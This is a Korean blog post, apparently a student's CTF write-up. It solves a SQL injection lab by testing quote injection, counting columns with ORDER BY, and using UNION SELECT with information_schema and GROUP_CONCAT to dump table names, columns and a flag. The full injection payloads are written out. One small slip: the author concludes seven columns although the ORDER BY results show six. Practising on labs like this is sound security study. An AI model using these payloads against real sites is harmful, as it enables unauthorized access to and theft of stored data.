모의해킹 스터디 CTF 문제 - SQL Injection 2

2024. 11. 27. 08:33·모의해킹/모의해킹 스터디

SQL Injection 2

 

이번 문제는 진짜 데이터를 찾으면 되는 문제이다.

 

메인화면


1. SQL 인젝션 확인 및 로직 파악하기

우선 'normaltic'으로 검색해 본다.

normaltic 검색

검색 시 데이터가 나오긴 하지만 무의미한 데이터인 것 같다.

 

그다음 지금 어떠한 정보도 없기 때문에 SQL인젝션을 해보겠다.

  • normaltic' and '1' = '1 -> normaltic정보로 실행 성공
    • SQL 인젝션이 가능하다.
  • normaltic%' and '1' = '1' # -> 다른 정보로 실행 성공
  • %normaltic ' and '1' = '1 -> 다른 정보로 실행 성공
  • normaltic' or '1' = '1 -> normaltic정보로 실행 성공
  • normaltic%' or '1' = '1' # -> normaltic정보로 실행 성공
  • %normaltic' or '1' = '1 -> normaltic정보로 실행 성공

위의 결과 SQL구문은

select * from TABLE where ID like '검색어'

일 것으로 예상되며 nomaltic 이외 다를 데이터에 플래그가 저장되어 있을 가능성이 있다.

 

2. 컬럼 개수 확인

  • normaltic' order by 1 # -> 실행 성공
  • normaltic' order by 2 # -> 실행 성공
  • normaltic' order by 3 # -> 실행 성공
  • normaltic' order by 4 # -> 실행 성공
  • normaltic' order by 5 # -> 실행 성공
  • normaltic' order by 6 # -> 실행 성공
  • normaltic' order by 7 # -> 실행 실패
    • 컬럼 개수는 총 7개 이다.

 

3. 출력되는 컬럼 위치 확인

 ' union select 1,2,3,4,5,6 #

출력되는 컬럼 위치 확인

6번 컬럼 즉 Info 자리에서 데이터 조회 시 정보를 확인할 수 있다.

 

4. DB명 확인

 ' union select 1,1,1,1,1,group_concat(database()) #

DB 명 확인

 

5. Table명 확인

 ' union select 1,1,1,1,1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli_5' #

테이블명

현재 게시판에 한 줄만 출력되는 것으로 예상하여 GROUP_CONCAT을 사용하였고 그 결과 총 3개의 테이블이 나온다.

 

6. Cloumn 확인

 ' union select 1,1,1,1,1, group_concat(column_name) from information_schema.columns where table_name= '테이블명' #

 

각각의 테이블의 컬럼을 확인해 보면

  • 유저에 관한 테이블

유저컬럼

  • 그 외 테이블

플레그1 컬럼
플래그2 커럼

위의 두 테이블 전부 컬럼으로 하나만 가지고 있다.

 

7. Data 확인

이제 플래그와 관련된 테이블만 보려고 한다.

 

우선 각 테이블의 데이터 개수를 알아보자.

 ' union select 1,1,1,1,1,count( * ) from 테이블명 #

 

각각의 데이터 개수는

플래그1 데이터 개수
플래그2 데이터 개수

각각 1개, 2개의 데이터가 있다는 걸 알 수 있다.

 

컬럼명과 데이터 개수를 알았으니 이데 데이터를 출력해보려고 한다.

 ' union select 1,1,1,1,1,컬럼명 from 테이블명 #

 

우선 데이터를 1개 가지고 있는 테이블을 출력해 보면

플래그 찾기 실패

아니란 걸 알 수 있다.....

 

그다음 데이터를 2개 가지고 있는 테이블에 'GROUP_CONCAT'을 사용하여 출력해 보면

group_concat 사용 플래그 찾기 성공

플래그 값을 찾을 수 있다.

 

플래그 값만 나오게 하고 싶다면 'LIMIT'를 사용하여 출력하면 된다.

limit 사용 플래그 찾기 성공

728x90
반응형
저작자표시 비영리 동일조건 (새창열림)

'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글

모의해킹 스터디 CTF 문제 - Error Based SQLi Basic  (0) 2024.12.04
모의해킹 스터디 7주차 정리  (0) 2024.12.02
모의해킹 스터디 CTF 문제 - SQL Injection 1  (0) 2024.11.26
모의해킹 스터디 6주차 과제  (0) 2024.11.25
모의해킹 스터디 CTF 문제 - Secret Login  (0) 2024.11.25
'모의해킹/모의해킹 스터디' 카테고리의 다른 글
  • 모의해킹 스터디 CTF 문제 - Error Based SQLi Basic
  • 모의해킹 스터디 7주차 정리
  • 모의해킹 스터디 CTF 문제 - SQL Injection 1
  • 모의해킹 스터디 6주차 과제
BPM37093
BPM37093
luna의 IT기술 정리
  • BPM37093
    IT Study Log
    BPM37093
  • 링크

  • 글쓰기 관리
    • 분류 전체보기 (43)
      • 모의해킹 (37)
        • 웹해킹 (1)
        • 모의해킹 스터디 (36)
      • Web (5)
        • 웹 보안 (1)
        • 웹 크롤링 (1)
      • Data (0)
      • Cloud (0)
      • Network (1)
  • 인기 글

  • 방문자 수

    방문자수Total

    • Today :
  • 태그

    웹개발
    HttpResponse
    모의해킹스터디
    NAT
    httprequest
    상태코드
    Network
    웹해킹
    HTML
    php
    sqlinjection
    javascript
    SQL
    오블완
    Chrome
    티스토리챌린지
    HTTP
    메서드
    burpsuite
    hash
    mysql
    WEB
  • hELLO· Designed By정상우.v4.10.1
BPM37093
모의해킹 스터디 CTF 문제 - SQL Injection 2
상단으로

티스토리툴바